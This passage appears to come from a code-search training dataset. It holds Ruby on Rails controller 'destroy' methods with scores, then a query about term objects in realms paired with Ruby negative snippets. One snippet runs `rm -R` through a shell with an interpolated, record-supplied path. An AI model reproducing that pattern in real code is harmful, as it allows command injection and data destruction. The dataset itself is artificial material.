"def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n render json: {:ok => true}\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: \"Файл #{@content.title} был удалён\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @license.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Запись о лицензии удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @system_news, :destroy?\n @system_news.destroy\n respond_to do |format|\n format.html { redirect_to system_news_index_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @clitem.destroy\n respond_to do |format|\n format.html { redirect_to clitems_url }\n format.json { head :no_content }\n\n end\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @api_v1_news_link.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_news_links_url, notice: 'News link was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @article = Article.where(id: params[:id]).last\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @mensagem = Mensagem.find(params[:id])\n api_client.delete_object(@mensagem.post_id)\n @mensagem.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.js { head :ok }\n end\n end",
"def destroy\n delete_locale_file\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to admin_languages_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @momsg = Momsg.find(params[:id])\n @momsg.destroy\n\n respond_to do |format|\n format.html { redirect_to momsgs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @anatomic_site.destroy\n respond_to do |format|\n format.html { redirect_to anatomic_sites_url, notice: 'Anatomic site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @microsite = Microsite.find(params[:id])\n @microsite.destroy\n\n respond_to do |format|\n format.html { redirect_to(admins_microsites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @study_site.destroy\n respond_to do |format|\n format.html { redirect_to study_sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @admin_news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_url, notice: 'News cancellata con successo!.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @home = Home.first\n @about = About.first\n \n @section = Section.find(params[:id])\n \n @section.destroy\n respond_to do |format|\n format.html { redirect_to admin_sections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def destroy\n @campsite.destroy\n respond_to do |format|\n format.html { redirect_to campsites_url, notice: \"Campsite was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = current_site.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_site_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7125588",
"0.7036153",
"0.70290005",
"0.6880609",
"0.6794949",
"0.6769156",
"0.67688805",
"0.674759",
"0.67191213",
"0.67185956",
"0.67012674",
"0.6697827",
"0.66638106",
"0.6656746",
"0.6650727",
"0.6650532",
"0.6639657",
"0.66391474",
"0.6634274",
"0.66252136",
"0.66243535",
"0.66202897",
"0.6615502",
"0.6609046",
"0.6608726",
"0.6608726",
"0.6607614",
"0.6607362",
"0.6604261",
"0.6594765",
"0.6588646",
"0.6588646",
"0.6588646",
"0.6588",
"0.6584196",
"0.6581872",
"0.6581872",
"0.6581872",
"0.6581872",
"0.6578866",
"0.6575775",
"0.65741044",
"0.65692174",
"0.6568399",
"0.6560958",
"0.6557547",
"0.65468025",
"0.65463245",
"0.6542604",
"0.6542227",
"0.6540394",
"0.6532446",
"0.6532165",
"0.6529324",
"0.65266633",
"0.6526048",
"0.6524515",
"0.65243983",
"0.6515205",
"0.65131885",
"0.65131885",
"0.65131885",
"0.6508824",
"0.65072906",
"0.65053594",
"0.65051126",
"0.6496187",
"0.6494147",
"0.6494147",
"0.6494147",
"0.6494147",
"0.6494147",
"0.6491884",
"0.649119",
"0.6490924",
"0.6489919",
"0.6489609",
"0.6487355",
"0.6483983",
"0.6483857",
"0.6483669",
"0.6481512",
"0.6479286",
"0.6476385",
"0.647317",
"0.64674056",
"0.6465126",
"0.64631516",
"0.64629084",
"0.6457977",
"0.6457168",
"0.6456595",
"0.64510953",
"0.6450546",
"0.6448635",
"0.64484704",
"0.6447452",
"0.64472854",
"0.6445908",
"0.64429104"
] | 0.7319338 | 0 |
Term object variants are organized into different realms. Inside one realm, the attribute_ary must always be homogeneous and consist of comparable and hashable objects. attribute_ary is owned by new object. children can be nil, if not nil, it must return a new array of term objects in response to :ordered_values | def initialize(realm, attribute_ary, children)
realm = @@realms.index realm
raise "Using unregistered realm!" unless realm
@realmidx, @attributes = realm, attribute_ary
@children = children ? children.ordered_values : []
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def all_child_terms\n get_all_child_lists\n return @all_child_terms\n end",
"def get_children( node=self )\n sql = <<-SQL\n select\n subject_term.identifier as child_identifier,\n subject_term.term_name as child_term,\n predicate_term.term_name as relation,\n object_term.identifier as parent_identifier,\n object_term.term_name as parent_term\n from\n term_relationship tr\n join term as subject_term on tr.subject_term_pk = subject_term.term_pk\n join term as predicate_term on tr.predicate_term_pk = predicate_term.term_pk\n join term as object_term on tr.object_term_pk = object_term.term_pk\n where\n predicate_term.term_name in ('part_of','is_a','develops_from')\n and object_term.identifier = ?\n SQL\n \n OLS_DB[sql,node.term].each do |row|\n child = OntologyTerm.new( row[:child_identifier], row[:child_term] )\n node << child\n end\n end",
"def get_all_child_lists\n child_check\n \n if @all_child_terms.nil? and @all_child_names.nil?\n @all_child_terms = []\n @all_child_names = []\n \n self.children.each do |child|\n @all_child_terms.push( child.term )\n @all_child_terms.push( child.all_child_terms )\n @all_child_names.push( child.term_name )\n @all_child_names.push( child.all_child_names )\n end\n \n @all_child_terms = @all_child_terms.flatten.uniq\n @all_child_names = @all_child_names.flatten.uniq\n end\n end",
"def to_tree\n if term?\n [type, *args]\n else\n [type, *args.map(&:to_tree)]\n end\n end",
"def children\n ary = normal_children.dup\n ary << fallback_child if fallback_child\n ary\n end",
"def search_children(node, attribute, search_term)\n matches = []\n end",
"def build(terminology=nil)\n self.resolve_refs!\n if term.self.settings.has_key?(:proxy)\n term = OM::XML::NamedTermProxy.new(self.name, self.settings[:proxy], terminology, self.settings)\n else\n term = OM::XML::Term.new(self.name, {}, terminology)\n\n self.settings.each do |name, values|\n if term.respond_to?(name.to_s+\"=\")\n term.instance_variable_set(\"@#{name}\", values)\n end\n end\n @children.each_value do |child|\n term.add_child child.build(terminology)\n end\n term.generate_xpath_queries!\n end\n\n return term\n end",
"def terms(attributes = nil)\r\n field = attributes.keys.first\r\n query = { field => attributes.values.flatten }\r\n\r\n body = { query: { terms: query } }\r\n result = client.search index: index, type: type, body: body\r\n\r\n result_instance(result)\r\n end",
"def secondary_terms\n []\n end",
"def secondary_terms\n []\n end",
"def secondary_terms\n []\n end",
"def to_array\n children.each_with_object( [ self ] ) { |child, memo|\n memo.concat( child.to_array )\n }.flatten\n end",
"def to_ary # :nodoc:\n attributes.to_a\n end",
"def extend_children_with_qattr(ns_uri, attribute, attribute_value, mod)\n children_with_qattr(ns_uri, attribute, attribute_value).to_a.map {|n| n.extend(mod) }\n end",
"def terms\n @term_hash.values\n end",
"def terms\n [self]\n end",
"def children\n @children ||= {}.with_indifferent_access\n end",
"def secondary_terms\n []\n end",
"def children\n Array.new\n end",
"def initialize attributes = {}\n @attributes = attributes\n @children = Array.new\n validate!\n end",
"def initialize(children = [], properties = {})\n super(ObservedTerm.ast_type, children, properties)\n end",
"def to_a\n array = []\n attributes.each do |value|\n array << deep_unwrap(value)\n end\n\n return array\n end",
"def to_a\n array = []\n attributes.each do |value|\n array << deep_unwrap(value)\n end\n\n return array\n end",
"def term_list\n terms = Array.new\n\n self.notes.each do |note|\n note.scrubbed_notes.each do |word|\n term_index = terms.index(word)\n if term_index.nil?\n terms.push(word)\n end\n end\n end\n terms\n end",
"def children\n attributes.fetch(:children)\n end",
"def initialize(children = [], properties = {})\n super(Term.ast_type, children, properties)\n end",
"def create_sample_controlled_vocab_terms_attributes(array)\n attributes = []\n array.each do |type|\n attributes << { label: type }\n end\n attributes\nend",
"def to_ary\n attributes.map { |attr| attr.value if attr }\n end",
"def nested_attributes\n []\n end",
"def objects\n return @objects unless @objects.nil?\n objs = []\n dict = @instance.getDictionary\n (0 ... dict.getChildCount).each do |i|\n obj = dict.getChildAt(i)\n objs << {\n :name => obj.getName,\n :qual => obj.getQualification.toString.downcase.to_sym,\n :type => obj.getType.toString.downcase.to_sym,\n :object => obj,\n }\n end\n @objects = objs\n end",
"def terms\n TermsList.new(@contents.values)\n end",
"def attributions_objects\n self.parent.attributions.collect { |a| a.other_object }\n end",
"def raw_expression_children\n\n @raw_representation[2].select { |c| c.is_a?(Array) }\n end",
"def map_child\n array = []\n @children.each_pair { |_, child| array << (yield child) }\n array\n end",
"def sequence_to_array_objects\n @sequence = Array.new if @sequence.nil?\n\n array = []\n if [email protected]?\n @sequence.each { |element|\n downcaseElement = element.downcase\n if instance_attribute_defined?(downcaseElement)\n object = get(downcaseElement)\n if object.kind_of?(Array)\n array.concat object\n else\n array << object\n end\n end\n }\n else\n if [email protected]?\n @objects.each { |o|\n array << o\n }\n end\n end\n return array;\n end",
"def descendants\n @hash.select { |attr, value| value == :undefined }.map do |attr, value|\n attributes[attr].map do |value|\n self.class.new(@hash.merge({ attr => value }))\n end\n end.flatten\n end",
"def build_taxes_with_attributes(attrs, rejecting=false)\r\n raise Sage::BusinessLogic::Exception::IncorrectDataException, \r\n \"Tax attributes should be an array of taxes\" unless attrs.is_a?(Array)\r\n \r\n raise Sage::BusinessLogic::Exception::IncorrectDataException, \r\n \"Taxes Version One can handle only 2 taxes but received #{attrs.size} taxes\" if attrs.size > 2\r\n \r\n attrs.each_with_index do |attrs, index|\r\n # has_many proxy is not working with STI\r\n tax = Tax.new\r\n self.taxes << tax \r\n good_params = ( rejecting ? tax.reject_unknown_attributes(attrs) : attrs )\r\n tax.attributes = good_params\r\n tax.profile_key = ::Tax::TaxesVersionOne.tax_keys[index]\r\n end\r\n end",
"def terms\n @terms ||= wayfinder.decorated_ephemera_terms.sort_by(&:label)\n end",
"def term\n one_of [\n method(:tag),\n method(:metatag),\n method(:wildcard),\n ]\n end",
"def attributes\n @attributes ||= []\n raise TypeError, \"attributes contain bad elements #{@attributes}\" unless @attributes.all?{ |attribute| attribute.is_a? String }\n @attributes.sort!\n @attributes.uniq!\n @attributes\n end",
"def build_term_values\n term_values = fetch_facet_terms_for(@key)\n # Return basic elasticsearch result terms if we dont have method defined\n return generate_facet_terms_by_result unless term_values\n\n term_values.map { |term| FacetTerm.new(group: self, id: term.fetch(:id), term: term.fetch(:term), count: fetch_count_for( term.fetch(:id) ) ) }\n end",
"def to_ary\n @descendants.dup\n end",
"def to_a\n @size_dep.depend\n array = []\n Volt.run_in_mode(:no_model_promises) do\n attributes.size.times do |index|\n array << deep_unwrap(self[index])\n end\n end\n array\n end",
"def terms_with_values\n terms.select { |t| self[t].present? }\n end",
"def build_facets(expr, opts={})\n case expr\n when Hash\n build_facets(::Arel.star,expr)\n when Array\n r = expr.inject([]) {|m,e| m.concat build_facets(e,opts)}\n when String, Symbol, ::Arel::Nodes::SqlLiteral\n [Ansr::Arel::Nodes::Facet.new(::Arel::Attributes::Attribute.new(table, expr.to_s), opts)]\n when ::Arel::Attributes::Attribute\n [Ansr::Arel::Nodes::Facet.new(expr, opts)]\n else\n [expr]\n end\n end",
"def def_object_array sym, object_type=nil, name=nil\n def_alias sym, name if name\n def_transform(sym) {|v|\n next nil if v == nil\n orig = self[sym]\n if v.is_a?(Array)\n next orig ? orig + v : v\n end\n orig ? orig << v : [v] \n }\n def_checker(sym) { |v|\n next true if v == nil\n # v must be either an array or enumerable and each item\n # must be either a Hash or JrdObj that matches the given\n # object_type, if any\n next false unless (v.one_of_type?(Array, Enumerable) && !v.is_a?(Hash))\n v.each {|x| \n return false unless x.one_of_type? JrdObj, Hash\n return false if (object_type && x.__object_type != object_type)\n }\n true\n }\n end",
"def primary_terms\n terms - self.class.hyrax_form_fields\n end",
"def attribute_nodes\n @attribute_nodes ||= NodeSetProxy.new(@node.attribute_nodes, self)\n end",
"def children\n self.class.required_attrs\n .map { |attr| send(attr) }\n .flatten\n .select { |val| val.is_a?(GraphQL::Language::Nodes::AbstractNode) }\n end",
"def hash\n [attribute, statistics, other, total, missing, term_count, term_type, terms].hash\n end",
"def children\n unless defined? @children\n @children = Array.new\n end\n return @children\n end",
"def terms\n @data.map(&:uniq).flatten\n end",
"def array_for_document(uid)\n @term_vectors.each_slice(2).each do |(_, array)|\n _, tv_uid, _, vectors = array\n next unless tv_uid == uid\n\n return nil if !vectors.is_a?(Array) || vectors.empty?\n return vectors\n end\n end",
"def initialize(*attrs, &block)\n @array = []\n @shared = false\n attrs.each do |a|\n case a\n when Array, AttrArray\n a.each do |aa|\n self << aa\n end\n when Hash\n attrs[0].each do |k, v|\n self << Attr.new(k, v)\n end\n else\n self << a\n end\n end\n\n if block_given?\n @body = yield \n else\n @body = Null\n end\n end",
"def attributes; @attributes ||= []; end",
"def word_list\n # Returning only the terms of each definition as an array.\n list_of_terms = @words.map do |key, definition_instance|\n definition_instance.term\n end\n end",
"def terms\n @data.flatten.uniq\n end",
"def semantic_values\n [semantic_value]\n end",
"def write_children(child_class, arg) # :nodoc:\n return nil if arg.blank?\n raise AssociationTypeMismatch, \"not an array or nil\" if !arg.is_a?(Array)\n raise AssociationTypeMismatch, \"an array element is not a #{child_class}\" unless arg.all? { |m| m.is_a?(child_class) }\n # We now know that arg is an array containing only members of the child_class\n arg.each(&:save!)\n arg\n end",
"def values\n @children\n end",
"def child_objects(valkyrie: false)\n af_objects = Wings::ActiveFedoraConverter.new(resource: self).convert.objects\n return af_objects unless valkyrie\n af_objects.map(&:valkyrie_resource)\n end",
"def terms\n @locations.map(&:term).uniq\n end",
"def object_attributes\n []\n end",
"def children(assoc)\n @children[assoc] ||= Association.children(@reflection.klass, assoc, self)\n end",
"def apply_metadata(terms)\n terms.each_pair do |term, value|\n property = property_for(term)\n next if property.nil?\n\n Array(value).each { |v| append_property_value(property, v) }\n end\n end",
"def recursive\n attributes.fetch(:recursive)\n end",
"def ary\n @ary ||= rule.sep('[').maybe(elements).sep(']')\n end",
"def create_children_list\n return ArrayList.new\n end",
"def generate_toc_tree(toc, type, attr); end",
"def parse_attribute_term(term_x)\n ret = {}\n term = term_x.to_s.gsub(/^:/, '')\n ret[:term_index] = term\n split = term.split(SplitPat)\n\n if split[0] =~ NodeTermRE\n ret[:type] = 'node_attribute'\n ret[:node_name] = Regexp.last_match(1)\n elsif split[0] =~ ComponentTermRE\n ret[:type] = 'component_attribute'\n ret[:component_type] = Regexp.last_match(1)\n else\n fail Error.new(\"unexpected form (#{term_x.inspect})\")\n end\n\n unless split.size > 1\n fail Error.new(\"unexpected form (#{term_x.inspect})\")\n end\n if split[1] =~ AttributeTermRE\n ret[:attribute_name] = Regexp.last_match(1)\n # ABC\n elsif split[1] =~ /\\$\\{(.+)\\}/\n ret[:attribute_name] = Regexp.last_match(1)\n else\n fail Error.new(\"unexpected form (#{term_x.inspect})\")\n end\n\n if split.size > 2\n ret[:path] = split[2, split.size - 2]\n end\n ret\n end",
"def attribute_list(el); end",
"def aryfy(arg)\n ast AST::ASTArray, :children => [arg]\n end",
"def initialize(children)\n raise ArgumentError, '#{self.class} requires an array' unless Array === children\n # We don't dup here, as incoming arrays should be created by the\n # PredicateOperators#& method on other nodes. If you're creating And nodes\n # manually, by sure that they're new arays.\n @children = children\n end",
"def denormalize attributes\n return object_class.new if attributes.nil?\n\n object = object_class.new\n\n attribute_names.each do |attr_name|\n attr_value = attributes[attr_name] || attributes[attr_name.to_s]\n\n object.send(:\"#{attr_name}=\", attr_value)\n end # each\n\n object\n end",
"def children(all: false)\n scoped_children =\n if at_or_below_genus?\n Name.with_correct_spelling.subtaxa_of_genus_or_below(text_name)\n else\n Name.with_correct_spelling.\n with_rank_and_name_in_classification(rank, text_name)\n end\n\n return scoped_children.to_a if all\n\n Name.all_ranks.reverse_each do |rank2|\n next if rank_index(rank2) >= rank_index(rank)\n\n matches = scoped_children.with_rank(rank2)\n return matches.to_a if matches.any?\n end\n []\n end",
"def def_object_array sym, object_type=nil, name=nil\n def_alias sym, name if name\n def_transform(sym) {|v|\n next nil if v == nil\n orig = self[sym]\n if v.is_a?(Array)\n next orig ? orig + v : v\n end\n orig ? orig << v : [v] \n }\n def_checker(sym) { |v|\n next true if v == nil\n # v must be either an array or enumerable and each item\n # must be either a Hash or ASObj that matches the given\n # object_type, if any\n next false unless (v.one_of_type?(Array, Enumerable) && !v.is_a?(Hash))\n v.each {|x| \n return false unless x.one_of_type? ASObj, Hash\n return false if (object_type && x.__object_type != object_type)\n }\n true\n }\n end",
"def cascadable_children(kind)\n [].tap do |children|\n relations.each_pair do |name, metadata|\n next unless metadata.cascading_callbacks?\n delayed_pulls = delayed_atomic_pulls[name]\n children.concat(delayed_pulls) if delayed_pulls\n child = send(name)\n Array.wrap(child).each do |doc|\n children.push(doc) if cascadable_child?(kind, doc)\n children.concat(doc.send(:cascadable_children, kind))\n end\n end\n end\n end",
"def categories_by_taxonomy\n\n self.categories.inject({}) do |result, category|\n \n if result.has_key?(category.taxonomy.id.to_sym)\n result[category.taxonomy.id.to_sym] << category\n else\n result[category.taxonomy.id.to_sym] = [category]\n end\n \n result \n end \n\n end",
"def index_ontology_terms_from_cache( doc, term_conf, cached_data )\n [:term,:term_name].each do |term_or_name|\n cached_data[term_or_name].each do |target|\n doc[ term_conf[\"idx\"][term_or_name.to_s].to_sym ].push( target )\n end\n doc[ term_conf[\"idx\"][\"breadcrumb\"].to_sym ].push( cached_data[term_or_name].join(\" | \") )\n end\n end",
"def process_tree(tags, property, content, options = {})\n content = [content] if content.is_a?(Hash)\n Array(content).each do |c|\n if c.is_a?(Hash)\n c.each do |key, value|\n key = key.to_s == '_' ? property : \"#{property}:#{key}\"\n value = normalized_meta_tags[value] if value.is_a?(Symbol)\n process_tree(tags, key, value, options)\n end\n else\n name_key = options.fetch(:name_key, :property)\n value_key = options.fetch(:value_key, :content)\n tags << Tag.new(:meta, name_key => property.to_s, value_key => c) unless c.blank?\n end\n end\n end",
"def dynamic_attributes\n []\n end",
"def update_children\n return if children_attribs.nil?\n\n reload # Ancestry doesn't seem to work properly without this.\n\n # Symbolize keys if regular Hash. (not needed for HashWithIndifferentAccess)\n children_attribs.each{ |a| a.symbolize_keys! if a.respond_to?(:symbolize_keys!) }\n\n self.ranks_changed = false # Assume false to begin.\n self.options_added = false\n self.options_removed = false\n\n # Index all children by ID for better performance\n children_by_id = children.index_by(&:id)\n\n # Loop over all children attributes.\n # We use the ! variant of update and create below so that validation\n # errors on children and options will cascade up.\n (children_attribs || []).each_with_index do |attribs, i|\n\n # If there is a matching (by id) existing child.\n attribs[:id] = attribs[:id].to_i if attribs.key?(:id)\n if attribs[:id] && matching = children_by_id[attribs[:id]]\n self.ranks_changed = true if matching.rank != i + 1\n matching.update_attributes!(attribs.merge(rank: i + 1))\n copy_flags_from_subnode(matching)\n\n # Remove from hash so that we'll know later which ones weren't updated.\n children_by_id.delete(attribs[:id])\n else\n attribs = copy_denormalized_attribs_to_attrib_hash(attribs)\n self.options_added = true\n\n # We need to strip ID in case it's present due to a node changing parents.\n children.create!(attribs.except(:id).merge(rank: i + 1))\n end\n end\n\n # Destroy existing children that were not mentioned in the update.\n self.options_removed = true unless children_by_id.empty?\n children_by_id.values.each{ |c| c.destroy_with_copies }\n\n # Don't need this anymore. Nullify to prevent duplication on future saves.\n self.children_attribs = nil\n end",
"def attributes\n @attributes ||= []\n @attributes\n end",
"def terms_for_field(name)\n get_for_field(name).map(&:term).uniq\n end",
"def attr_split\n expr.attr_split.each_pair.each_with_object({}) do |(k,v),h|\n h[k] = Predicate.new(v)\n end\n end",
"def get_ace_child_types(ace)\n return :all if ace.nil?\n\n # the order is on purpose\n child_types = :none\n child_types = :objects if ace.object_inherit?\n child_types = :containers if ace.container_inherit?\n child_types = :all if ace.object_inherit? && ace.container_inherit?\n\n child_types\n end",
"def process_array(tags, property, content, **opts)\n content.each { |v| process_tree(tags, property, v, **opts) }\n end",
"def taxonomies_json\n @taxons_json = []\n query_string = \"%#{params[:term]}%\"\n @taxons = Spree::Taxonomy.categories.taxons#.where(\"name like ? OR id like ?\", query_string, query_string)\n @taxons.collect{ |taxon|\n if (taxon.parent.present? && taxon.parent.parent.present? && taxon.parent.parent.parent.present?)\n name = (taxon.parent.parent.name+\" -> \"+taxon.parent.name+\" -> \"+taxon.name)\n @taxons_json << {'label' => name, 'id' => taxon.id} if name.downcase.include? params[:term].downcase\n end\n }\n render :json=>@taxons_json.to_json\n end",
"def to_a\n result = []\n each do |elem|\n result << elem[:attrs]\n end\n result\n end",
"def get_children_array\n\t\t\tarr = []\n\t\t\tself.children.get_active.each do |child_1|\n\t\t\t\tarr << {menu: child_1, class: 'parent'}\n\t\t\t\tchild_1.children.get_active.each do |child_2|\n\t\t\t\t\tarr << {menu: child_2, class: 'child'}\n\t\t\t\tend\n\t\t\tend\n\t\t\tarr\n\t\tend",
"def to_ary\n [ self ]\n end",
"def each &block\n enumerator = Enumerator.new do |words|\n words << as_word if terminal?\n children.each { |child| child.each { |word| words << word } }\n end\n\n block.nil? ? enumerator : enumerator.each(&block)\n end",
"def read_children(child_class) # :nodoc:\n if new_record? \n nil\n else\n result = Array.new\n _late_connect?\n child_class.in_batches :query, condition_options(child_class) do |attrs|\n result << child_class.new._setup_from_dynamo(attrs)\n end\n result\n end\n end",
"def term(tuple)\n sums.each_with_object(tuple.dup){|(attribute,summarizer),new_tuple|\n new_tuple[attribute] = summarizer.term(tuple[attribute])\n }\n end",
"def attributes\n @attributes ||= []\n end",
"def produce_tree(ary); end",
"def to_a *aChildTypes\n handles = []\n\n aChildTypes.each do |arg|\n t = resolve_prop_type(arg)\n\n if itr = vpi_iterate(t, self)\n while h = vpi_scan(itr)\n handles << h\n end\n end\n end\n\n handles\n end",
"def initialize(attributes)\n @id = attributes[\"id\"]\n @name = attributes[\"name\"]\n @demangled = attributes[\"demangled\"]\n\n @attributes = attributes\n\n @children = []\n end",
"def children\n @children ||= []\n end",
"def getTags node\n array = [] #array to hold working collection\n \n node.children.each do |child|\n array << Hash[child.name,child.inner_text] unless child.name == 'text' #text \n end\n \n return array\n end"
] | [
"0.5804891",
"0.55256337",
"0.54760957",
"0.53586817",
"0.5165771",
"0.5161152",
"0.51232517",
"0.5112355",
"0.50783986",
"0.50783986",
"0.50783986",
"0.5073503",
"0.50662947",
"0.50610673",
"0.50229335",
"0.50148726",
"0.5003102",
"0.49994543",
"0.49878955",
"0.4961954",
"0.49582753",
"0.49274987",
"0.49274987",
"0.49185646",
"0.49162385",
"0.49141154",
"0.49121597",
"0.4895551",
"0.48721752",
"0.4817527",
"0.4814288",
"0.48121536",
"0.4784805",
"0.4782481",
"0.4765452",
"0.47625166",
"0.47520944",
"0.47485572",
"0.47467047",
"0.47425964",
"0.47410676",
"0.4739297",
"0.47181576",
"0.4704409",
"0.467521",
"0.4674816",
"0.46690884",
"0.4668203",
"0.46604407",
"0.4653543",
"0.46462673",
"0.46421555",
"0.4628038",
"0.46104506",
"0.4597071",
"0.45950633",
"0.45842096",
"0.45830876",
"0.45804006",
"0.45763728",
"0.45668364",
"0.4560747",
"0.45596924",
"0.4554823",
"0.4554643",
"0.4544602",
"0.4542469",
"0.45408395",
"0.45374903",
"0.45330304",
"0.45318633",
"0.45214057",
"0.45174924",
"0.4516942",
"0.45072085",
"0.44979125",
"0.44967613",
"0.44902638",
"0.44876474",
"0.44874683",
"0.44758943",
"0.4467245",
"0.44647798",
"0.44626626",
"0.44581306",
"0.44522414",
"0.44493377",
"0.44481587",
"0.4445883",
"0.4445271",
"0.4444549",
"0.4441454",
"0.44385162",
"0.44371563",
"0.4435692",
"0.4434934",
"0.44322002",
"0.4431842",
"0.44311818",
"0.4430029"
] | 0.5766749 | 1 |
Returns the id for the given user or raises RecordNotFound Implements a cache of users based on login name | def user_for_login!(login)
begin
if !@user_by_login.has_key?(login)
@user_by_login[login] = User.find_by_login!(login)
end
rescue ActiveRecord::RecordNotFound
if params[:use_anonymous]
@user_by_login[login] = User.anonymous()
else
@unfound_class = "User"
@unfound_key = login
raise
end
end
@user_by_login[login]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_id_for(user)\n find(user.id, user.login)\n end",
"def get_id(name)\n @users.each do |user|\n return user[:id] if user[:name] == name\n end\n nil\n end",
"def get_user_id_by_login(login)\n @user = User.find(:first ,:select=>\"id\",:conditions=>[\"login='#{login}'\"])\n if [email protected]?\n return @user.id\n else\n return 0\n end\n end",
"def find(id, username)\n email = email_for_github_username(username)\n cached, found_id = find_from_cache(id, email)\n\n return found_id if found_id\n\n # We only want to query the database if necessary. If previous lookups\n # didn't yield a user ID we won't query the database again until the\n # keys expire.\n find_id_from_database(id, email) unless cached\n end",
"def get_id(user_name)\n return get_value_of(user_name, :id)\n end",
"def find_by_id\n User.find_by_id(@username_or_id)\n end",
"def name_to_id(name)\n user = User.find_by_username(name)\n if user == nil\n return -1\n else\n user.id\n end\n end",
"def find_by_id!\n User.find(@username_or_id)\n end",
"def find_user(name)\n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n\n if @cached_users.has_key?(name.downcase)\n return @cached_users[name.downcase]\n end\n\n single_user_query = RallyAPI::RallyQuery.new()\n single_user_query.type = :user\n single_user_query.fetch = @detail_user_fetch\n single_user_query.page_size = 200 #optional - default is 200\n single_user_query.limit = 90000 #optional - default is 99999\n single_user_query.order = \"UserName Asc\"\n single_user_query.query_string = \"(UserName = \\\"\" + name + \"\\\")\"\n\n query_results = @rally.find(single_user_query)\n\n if query_results.total_result_count == 0\n return nil\n else\n # Cache user for use next time\n this_user = query_results.first\n @cached_users[this_user[\"UserName\"].downcase] = this_user\n @logger.info \"Caching User: #{this_user.UserName}\"\n\n return this_user\n end\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end",
"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n \n if query_result.total_result_count == 0\n return nil\n else\n return query_result.results.first\n end\n end",
"def user_by_id(user_id)\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Picking user ID #{user_id.inspect} from pool\"\n users.select { |user| user[:id] == user_id.to_i }.first\n end",
"def identify_using_user(identifier)\n user_id = identifier.gsub(\"user-\", \"\")\n\n identify_with_cache(:user, user_id) do\n User.find_by(id: user_id)\n end\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def find_user\n\n @user = User.using_client_shard(client: @client).get_from_memcache(@user_id)\n\n return error_with_data(\n 'sm_gud_fu_1',\n 'Invalid user id',\n 'Invalid user id',\n GlobalConstant::ErrorAction.default,\n {},\n {}\n ) if @user.blank? || @user.client_id != @client_id\n\n success\n end",
"def find_by_username!\n User.find_by_username!(@username_or_id)\n end",
"def find_user_id (db, user)\n user_values = db.execute(\"SELECT id FROM user WHERE name = ?\", [user])\n user_values[0][0]\nend",
"def get_user_id(username)\n pglimit = 100\n res = @conn.get(\"/api/v1/users&limit=#{pglimit}\")\n usercount = res['count'].to_i\n id = user_data_from_results(res, username, 'uid')\n return id if id\n\n pages = (usercount / pglimit) + 1\n 2.upto(pages) do |i|\n res = @conn.get(\"/api/v1/users&limit=#{pglimit}?page=#{i}\")\n id = user_data_from_results(res, username, 'uid')\n return id if id\n end\n nil\n end",
"def handle\n id = Bluecap.redis.hget('user.map', @name)\n return id.to_i if id\n\n id = Bluecap.redis.incr('user.ids')\n if Bluecap.redis.hsetnx('user.map', @name, id)\n return id\n else\n # Race condition, another process has set the id for this user.\n # The unused id shouldn't cause inaccuracies in reporting since\n # the position will be 0 in all bitsets across the system.\n return redis.hget('user.map', @name).to_i\n end\n end",
"def get_user_id(reaktoruser_id)\n IdStore.get(:reaktoruser, reaktoruser_id)\n end",
"def find_user_id\n if (params[:user_id])\n return params[:user_id].to_i\n else\n return params[:id].to_i\n end\n end",
"def user(id)\n @users[id.resolve_id]\n end",
